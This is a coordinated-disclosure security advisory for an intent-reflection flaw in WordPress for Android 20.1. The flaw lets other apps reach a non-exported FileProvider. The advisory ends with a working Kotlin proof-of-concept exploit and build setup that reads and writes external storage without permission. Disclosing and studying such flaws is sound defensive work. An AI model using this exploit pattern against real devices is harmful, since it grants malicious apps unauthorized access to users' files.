Coordinated Disclosure Timeline
- 2022-07-01: Vulnerability reported through HackerOne
- 2022-07-01: Maintainer confirms submission reception.
- 2022-07-04: Maintainer acknowledges vulnerability and releases a fix for it in version 20.1.1.
Summary
The WordPress for Android app has a security issue by which a malicious application installed on the same device can send it an arbitrary Intent that gets reflected back, unintentionally giving read and write access to non-exported Content Providers in WordPress for Android.
Product
WordPress for Android
Tested Version
20.1 (latest)
Details
Issue 1: Intent URI permission manipulation in EditPostActivity.java
(GHSL-2022-046
)
The activity EditPostActivity
is exported, as it can be seen in the Android Manifest:
<activity
android:name=".ui.posts.EditPostActivity"
android:theme="@style/WordPress.NoActionBar"
android:windowSoftInputMode="stateHidden|adjustResize"
android:exported="true">
<meta-data
android:name="android.support.PARENT_ACTIVITY"
android:value=".ui.posts.PostsListActivity" />
<intent-filter>
<action android:name="android.intent.action.MAIN" />
</intent-filter>
</activity>
In its saveResult
method, this activity obtains the incoming Intent
and returns it back to the calling application using setResult
:
private void saveResult(boolean saved, boolean uploadNotStarted) {
Intent i = getIntent();
i.putExtra(EXTRA_UPLOAD_NOT_STARTED, uploadNotStarted);
i.putExtra(EXTRA_HAS_FAILED_MEDIA, hasFailedMedia());
i.putExtra(EXTRA_IS_PAGE, mIsPage);
i.putExtra(EXTRA_IS_LANDING_EDITOR, mIsLandingEditor);
i.putExtra(EXTRA_HAS_CHANGES, saved);
i.putExtra(EXTRA_POST_LOCAL_ID, mEditPostRepository.getId());
i.putExtra(EXTRA_POST_REMOTE_ID, mEditPostRepository.getRemotePostId());
i.putExtra(EXTRA_RESTART_EDITOR, mRestartEditorOption.name());
i.putExtra(STATE_KEY_EDITOR_SESSION_DATA, mPostEditorAnalyticsSession);
i.putExtra(EXTRA_IS_NEW_POST, mIsNewPost);
setResult(RESULT_OK, i);
}
saveResult
is called whenever a post is finished (saved online, saved locally, or cancelled):
mViewModel.getOnFinish().observe(this, finishEvent -> finishEvent.applyIfNotHandled(activityFinishState -> {
switch (activityFinishState) {
case SAVED_ONLINE:
saveResult(true, false);
break;
case SAVED_LOCALLY:
saveResult(true, true);
break;
case CANCELLED:
saveResult(false, true);
break;
}
removePostOpenInEditorStickyEvent();
mEditorMedia.definitelyDeleteBackspaceDeletedMediaItemsAsync();
finish();
return null;
}));
Because of this, any application that uses startActivityForResult
to start EditPostActivity
with an arbitrary Intent will receive it back once the user exits the suddenly opened activity.
An attacker can exploit this by including the flags FLAG_GRANT_URI_READ_PERMISSION
and/or FLAG_GRANT_URI_WRITE_PERMISSION
in the Intent, which once reflected back by WordPress for Android will provide the attacker access to any of its Content Providers that has the attribute android:grantUriPermissions="true"
, even if it is not exported.
WordPress for Android declares the FileProvider
Content Provider in its Android Manifest that satisfy the grantUriPermissions
requirement:
<provider
android:name="androidx.core.content.FileProvider"
android:authorities="${applicationId}.provider"
android:exported="false"
android:grantUriPermissions="true">
<meta-data
android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/provider_paths"/>
</provider>
The files it gives access to are defined in provider_paths
:
<?xml version="1.0" encoding="utf-8"?>
<paths xmlns:android="http://schemas.android.com/apk/res/android">
<external-path
name="external_files"
path="."/>
</paths>
With this information, an attacker can create an Intent targeted to EditPostActivity
with the appropriate flags and the data URI content://org.wordpress.android.prealpha.provider/external_files/
to access the external storage using WordPress for Android as a proxy without needing to request the external storage permissions.
See the Resources
section for a proof of concept exploiting this vulnerability.
Impact
This issue may lead to Privilege Escalation: a malicious application can use WordPress for Android as a proxy to access the device’s external storage without needing to request the appropriate permission to do so.
Resources
The following PoC demonstrates how a malicious application with no special permissions could read and write from the external storage in behalf of WordPress for Android exploiting the issue mentioned above:
class IntentUriManipulationPoc : Activity() {
fun exploitWordpressProvider() {
val i = Intent()
i.setClassName("org.wordpress.android.prealpha", "org.wordpress.android.ui.posts.EditPostActivity")
i.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION or Intent.FLAG_GRANT_WRITE_URI_PERMISSION)
// Setting necessary extras so that the application doesn't crash
val s = SiteModel()
s.xmlRpcUrl = "http://127.0.0.1:8080/xmlrpc.php"
s.url = "http://127.0.0.1:8080"
i.putExtra("SITE", s)
i.putExtra("isLandingEditor", false)
i.data =
Uri.parse("content://org.wordpress.android.prealpha.provider/external_files/Documents/test.txt")
startActivityForResult(i, 0)
}
override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
super.onActivityResult(requestCode, resultCode, data)
try {
val outputStream = contentResolver.openOutputStream(data?.data!!)
outputStream?.write("pwned".toByteArray())
Log.e("evil", "Written!")
val inputStream = contentResolver.openInputStream(data.data!!)
Log.e("evil", "Contents of ${data.data!!}: ${String(inputStream!!.readBytes())}")
} catch (e: Exception) {
Log.e("evil", e.toString())
}
}
}
Note that, to be able to use SiteModel
class in the attacking app, the org.wordpress:fluxc
dependency needs to be added to build.gradle
, as well as the appropriate repository:
dependencies {
// --snip--
implementation("org.wordpress:fluxc") {
version {
strictly "trunk-be807d3717b0b0b9b4c812a65026504096d5615e"
}
exclude group: "com.android.volley"
exclude group: 'org.wordpress', module: 'utils'
exclude group: 'com.android.support', module: 'support-annotations'
}
}
repositories {
maven {
url "https://a8c-libs.s3.amazonaws.com/android"
content {
includeGroup "org.wordpress"
includeGroup "org.wordpress.aztec"
includeGroup "org.wordpress.fluxc"
includeGroup "org.wordpress.wellsql"
includeGroup "org.wordpress-mobile"
includeGroup "org.wordpress-mobile.gutenberg-mobile"
includeGroup "com.automattic"
includeGroup "com.automattic.stories"
includeGroup "com.automattic.tracks"
}
}
}
Resources
- Fix PR: https://github.com/wordpress-mobile/WordPress-Android/pull/16857.
- Hotfix PR: https://github.com/wordpress-mobile/WordPress-Android/pull/16858
Credit
This issue was discovered and reported by the CodeQL team member @atorralba (Tony Torralba).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2022-046
in any communication regarding this issue.